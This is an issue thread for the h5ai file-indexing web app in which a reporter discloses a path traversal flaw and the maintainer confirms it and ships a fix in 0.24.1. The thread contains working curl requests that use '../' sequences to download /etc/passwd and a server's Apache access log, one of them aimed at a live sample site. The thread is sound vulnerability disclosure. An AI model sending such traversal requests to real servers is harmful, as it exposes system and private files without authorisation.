Security issue: arbitrary file download

[BestPig]

An attacker is able to download a file out of the h5ai root directory.

curl --data "action=download&as=test.tar&type=php-tar&hrefs=/../../../../etc/passwd&items=true" http://somesite.com/h5ai/

[lrsjng]

Can't reproduce that issue, @BestPig can you send in a working example?

[BestPig]

It's not working with /etc/passwd on your server because the web server has not the right to read the file. But it's working for example with the apache log file.

curl --data "action=download&as=test.tar&type=php-tar&hrefs=/../logs/access_log" http://larsjung.de/h5ai/sample/

[lrsjng]

@BestPig: there should be an automated dev build for the latest commit e6f09d5 in http://release.larsjung.de/h5ai/dev/ soon. Could you please check this build.

[lrsjng]

fixed in 0.24.1